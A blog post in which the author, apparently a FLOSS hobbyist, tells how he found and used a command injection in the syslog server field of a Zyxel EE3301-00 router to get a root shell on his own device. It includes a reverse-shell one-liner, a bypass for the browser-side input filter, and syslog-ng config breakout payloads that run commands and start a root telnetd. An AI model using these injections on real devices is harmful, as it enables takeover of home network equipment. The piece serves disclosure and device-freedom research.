Preamble
This is a follow up on the previous post where I documented how to practically exploit CVE-2026-6952 for affected Zyxel devices, and IMO, the more interesting part of all of it is how we got there in the first place.
As an Open Source zealot and user freedom/privacy advocate, I am actually using a non-Zyxel device running OpenWRT as my fibre modem (in part so that, my ISP, or, much worse, some attacker, the day they are inevitably hacked, will not be able to easily gain access to my home network though TR-069 or any of the other crap that ISPs are a bit too eager to slide into their provisioned modems). However, I very recently upgraded my fibre connection and, as a result, got sent a brand new Zyxel EE3301-00 router along with a WE3300-00 extender, by said ISP, which of course, I had to take a look at.
Now, though it can obviously not compete with OpenWRT, I found that the appliance was actually not as dreadful as I feared it would be, and I could actually almost see myself using it as designed by its manufacturer, provided it could also act as an NTP server (rather than an NTP client only -- OpenWRT provides that as an option by default, why neuter it?), offer DoH (DNS over HTTPS), have a more comprehensive way of blocking ads (rather than a very limited blocklist where you have to add each site you want to block individually - ugh!) and of course, the means to disable all the snooping/remote access protocols like TR-069 and ISP Web UI access from the WAN. And since I was also able to test the Mesh feature on that device, which I was originally quite sceptical about, I must say that the MPro Mesh does look quite convenient indeed. So, well done here, Zyxel...
However, this is still a super-locked device, and if you know me, you know that I sure don't like having any computing devices in my home (including "smart" TVs) for which I don't have full root access, because, well, I didn't go into FLOSS in order to take being arbitrarily restricted or deprived of my freedoms lightly... Which means that I am not planning to use this shiny new fibre modem any time soon, and will stick to a device that has vanilla OpenWRT support, thank you very much.
Still, if my OpenWRT router has an issue, or if my fibre line ever gets down, I might have some temporary need for that router. But, again, there's no way in hell I'm going to allow remote TR-069 or HTTPS access unless the ISP first asks for my permission, as should inherently always be the case, no matter how companies want to delude themselves (as Sony currently wants to do with game ownership) that physical equipment, that they might once have issued, but that now resides on a consumer's premises, grants them the right to do whatever they please whilst violating said consumer's rights to both ownership and privacy.
In short, the minute I saw on the Zyxel product page that the device featured prominent TR069/TR-269 management for the ISP (including regularly sending "insights" about your home network) was the minute I knew I had to gain full root access on that device to be able to disable it, if I ever was to actually use that modem for its designated purpose. Plus, I do have some hope that vanilla OpenWRT will be ported to it eventually (especially, as we discovered, that device is already running a locked down OpenWRT behind the scenes), so I might as well take a closer look on how to be granted full access, and publish our findings, to make that happen sooner.
Zeroing in on the exploit
Looking for ways to gain root access, we quickly found this blog post by Thomas Rinsma, that explained how, in 2020, it was actually possible on a whole slew of Zyxel devices. Alas, with credits to Zyxel for doing something about these, the vulnerabilities being exploited there have long been patched, so the methods described there were NO_GO.
Luckily, and very tantalizingly, since we were now on the hunt for other vulnerabilities that might be exploited in a similar vein, we came across the CVE-2026-6952 advisory from Zyxel themselves, where my model and firmware version were crucially listed as affected, that tersely described a:
post-authentication command injection vulnerability in the "LogServer" field of the syslog component
Obviously however, neither Zyxel nor any of the other sites reporting of the CVE are not going to give you the full details, or a PoC you can try, so that isn't much to start with.
There is however a world of difference between knowing that an exploitable vulnerability exists, and where it resides, and hoping that one might exist.
So, let's take a look at what we have. Well, there's really only one possible field that the vulnerability can refer to, and that has to be the SysLog Server field.
Okay, so let's try the "; TF=$(mktemp -u); mkfifo $TF && telnet 192.168.1.60 1337 0<$TF | bash 1>$TF ;# trick there...
Ouch! Zyxel seem to have learned their lesson and don't allow special characters. Not a good start...
However, we're not giving up that easily, and, after a bit of research, we find this post, that explains that the string sanitization is not being performed on the device itself, but by the JavaScript running on the browser, and therefore, said sanitization can be bypassed...
And sure enough, after a bit of crash course in how to use the JavaScript debugger in the browser (since I am not a security researcher and don't tend to deal with anything JS) we find that by adding a breakpoint in app.js to the SpecialCharactersCheckFunc after the s = this.$store.state.guiFlag.BlockChar line, and then using the debugger to set s = "", we are able to enter whatever we want in that field. Good.
However, the "close double quotes + semicolon + arbitrary command that runs as root" trick does not appear to work, which we can confirm by issuing a ping to a Raspberry Pi box plugged into the same isolated network (with IP address 192.168.1.60), where we tcpdump ICMP traffic, and which stays desperately silent.
Drats! The days of easy arbitrary command execution appear to be well over, and Zyxel is going to make us work for it...
Figuring out the syslog server
Okay, let's switch strategy here. How about we first get remote syslog going, so that we get the hang of how this whole syslogging thing works. Now, whereas we could also have installed a remote syslog client on the Pi (or used a simple netcat), I actually used another Windows laptop (residing at 192.168.1.192), plugged on the same isolated network, where I promptly installed Visual Syslog Server and validated that I could indeed get remote logging output from the Zyxel router.
So, since it is likely that we are playing with a syslog server conf file, if we can figure out what type of syslog server executable Zyxel use on their device, we might be able to figure how to format our LogServer string, to keep the underlying syslog server software happy whilst breaking out of its config jail to execute commands.
And this is actually the part where I wasted the most time, because, whereas the syslog server candidates were few (asserting that Zyxel did not create their own syslog server but picked or derived an existing UNIX/Linux implementation), the first thing I told to myself was "Seeing that syslog-ng is a full-fledged server application for regular, non-embedded Linux, there is no way Zyxel are going to go with that one, as they are bound to want to use a more lightweight option".
So, of course, it turns out that syslog-ng was the syslog software Zyxel used (on account that this is what OpenWRT uses), and I spent about a day on a wild goose chase, trying to break out of syslog server config syntaxes that did not apply. It is only after I eventually saw syslog-ng explicitly mentioned in the package list, for a different Zyxel gateway, that I considered probable that Zyxel was actually using syslog-ng.
From there, a quick look at the syntax of the syslog-ng.conf file tells us that the "override-and-discard" we are after should look something like:
<IP>" <some stuff> ); }; #
Okay, so, let's first confirm that we are indeed dealing with syslog-ng.conf by entering the following:
192.168.1.192" port(514)); }; #
Apply... and our remote syslog continues to receive messages from the Zyxel box. Looks like this confirms syslog-ng usage and our syntax rules. But what remains to be seen is if we can set arbitrary stuff. So let's try to change the port number on the Zyxel router with:
192.168.1.192" port(515)); }; #
And now, if we change the port to 515 on our client... YAY!!! We are getting the router's syslog message on the new port we set. So, we do indeed have our syntax, and we do have some form of control!
However, depending on how syslog-ng configures its remote sinks, there's still no guarantee that we'll be able to do more than change the port or whichever parameters syslog-ng grants you the ability to change in a config file...
"Greetings, Program"
Looking at the syslog-ng conf doc, there is however a command that looks very promising, and that seems to be usable when setting up a sink. And that is the program() command.
Okay, so how about we actually try to run some stuff:
192.168.1.192" port(514)); program("/bin/ping -c 1 192.168.1.60"); }; #
Amazing! tcpdump on the Pi suddenly comes alive and reports that we get loads of pings. Much more than we actually anticipated, as we thought we'd get a single ping whenever a new log message is issued, but instead we are seeing an unending continuous stream.
At this stage we could just pack and go home. Because, from there, we have uncovered the way to run arbitrary commands, and, even if we still have tons more work to do, this is practically GAME OVER, because we can run stuff, of our choosing, on the device. But we are already home, so we might as well continue.
And the ping-flood method also gives us a great way to validate the paths of the files we need, because:
192.168.1.192" port(514)); program("[ -f /etc/passwd ] && ping -c 1 192.168.1.60"); }; #
Returns loads of pings, as expected, but if we alter it to /etc/i-dont-exist, we don't get them. So we can indeed validate paths.Let's play then:
192.168.1.192" port(514)); program("[ -f /usr/bin/nc ] && ping -c 1 192.168.1.60"); }; #
Yup, we have netcat. However:192.168.1.192" port(514)); program("[ -f /usr/bin/telnet ] && ping -c 1 192.168.1.60"); }; #
and all the variations we can think of for the location of telnet return nothing. So a variation of the telnet command isn't going to work.There is a /usr/bin/ssh though:
192.168.1.192" port(514)); program("[ -f /usr/bin/ssh ] && ping -c 1 192.168.1.60"); }; #
but (after we played with it for a while) it doesn't seem to support reverse connection. Okay, so let's circle back to using netcat to try to establish a connection.
Now, one of the small issues we have, as evidenced with the ping flood, is that the commands we set seem to be running continuously, so, if we are going to start running network connection instances, we don't to start an unlimited number of them, and bring the system to a crawl. So we need a way to run commands in a one-off way, which (after validating it through the ping command) we can simply do by having the shell command we issue first test if a file exists and if not, creating it before we run our command. In other words, we want to try:
192.168.1.192" port(514)); program("[ ! -f /tmp/02 ] && { touch /tmp/02; /usr/bin/nc 192.168.1.60 514; }"); }; #
Hmmm, okay, now, alongside the Windows one, we are also receiving the syslog data on our Pi with nc -lvnp 514 host. Not exactly what I wanted or expected, so we might have to drop netcat. Which brings us to...
192.168.1.192" port(514)); program("[ -f /usr/sbin/telnetd ] && ping -c 1 192.168.1.60"); }; #
Loads of pings... Now THAT is interesting!
The telnet route
A first attempt (where we also drop the pretence of trying to keep a working syslog server by just using 0.0.0.0 for the IP and no port) with:
0.0.0.0");program("[ ! -f /tmp/03 ] && { touch /tmp/03;/usr/sbin/telnetd -p 1337; }");};#
does give us a telnet server on port 1337... but we get the same treatment as the normal telnet and, since we don't have any other logon credentials, we only get the same ZySH> prompt, which is useless and which we would get on the default telnetd server that's already running on port 23.
Okay, so how about:
0.0.0.0");program("[ ! -f /tmp/04 ] && { touch /tmp/04;/usr/sbin/telnetd -l /bin/ash -p 1338; }");};#
NB: Obviously, we have to change the telnet port on each of these attempts, since the other instance will still be running.
Hmm, now we are getting:
root@pi4:~# telnet 192.168.1.1 1338 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is '^]'. /bin/ash: can't open '192.168.1.60': No such file or directory Connection closed by foreign host.
when we try to connect. Small progress, but still no shell.
According to Claude, this is because we need to have an exec /bin/ash script to execute, that'll strip the first parameter that's passed to the shell. After a bit of searching and finding that we also have to fight against a 127 character limit for the field, we get to the 3-parter:
#1.
0.0.0.0");program("[ ! -f 192.168.1.60 ] && { echo '#!/bin/sh'>192.168.1.60;echo 'exec /bin/ash'>>192.168.1.60; }");};#
#2.0.0.0.0");program("chmod +x 192.168.1.60");};#
#3.0.0.0.0");program("[ ! -f /tmp/05 ] && { touch /tmp/05;/usr/sbin/telnetd -l /bin/ash -p 1339; }");};#
Obviously, we don't really care that the chmod command will be executed continuously, especially as it'll stop once we get to command #3.
And with this, we were able to claim the flag:
root@pi4:~# telnet 192.168.1.1 1339 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is '^]'. BusyBox v1.33.1 () built-in shell (ash) root@EE3301-00:/tmp#
Final words
After that, it was just a matter of refining/simplifying the commands, as well as figuring out what could be dropped, in order to provide an easy one-liner, which I am sure could be improved upon, but which is sufficiently easy enough for folks to handle in the manner which we published.
As to how we figured out the root/supervisor/bootloader password decryption, that doesn't require physical serial access, it was good old Ghidra analysis of the zloader code (since, and I really cannot stress this enough in the age of AI, even if AI companies are currently doing their darnedest to delay the inevitable, if you leave someone with one of your binary executables, then you SHOULD consider that you also have granted them full access to the source that was used to generate said executable).
Finally, as to my reasons for disclosing this information, please be very mindful that this is in no way to try to shame Zyxel, which I believe did a rather fine job, security-wise, in their modern devices, and who only got stung by good old "the more complex a system, the more likely it is for vulnerabilities to be uncovered", and, as a software developer who also got stung many time at this game, I am well placed to understand that there's just no way you can fully secure everything. Also, for every public vulnerability that gets reported against Zyxel hardware, you can be quite certain that there's most likely about 10 non-yet-disclosed/non-yet-discovered vulnerabilities that do exist in whatever equivalent non-Zyxel hardware you might currently use. So if you think that you are safe, because you are using a different brand, boy do I have news for you.
And that actually brings me to the main point for the disclosure, which is that, if I, a security amateur, was able to figure this out, then you can bet that malicious actors have been able to figure the same thing, and I see it better to disclose the manner in which a device can be exploited publicly, so that nobody gets the impression that, because details of a vulnerability are not yet known, you should be considered safe from its exploitation.
It should also be pointed out that, the only way to exploit the vulnerability is to have local physical access to the device, so it's not like a random remote attacker will suddenly be able to take control of your network device, just because these details have been made public.
But of course, the most important point, from a FLOSS advocate's perspective, is that you should be able to have full control of the software that runs on a device that is as important as your internet point of access, including the ability to replace it altogether by OpenWRT for instance (which I am hoping these posts will eventually help with) which is of course very difficult to accomplish if a manufacturer locks the bootloader and restricts root access. Therefore, you will want to know how to bypass these things.








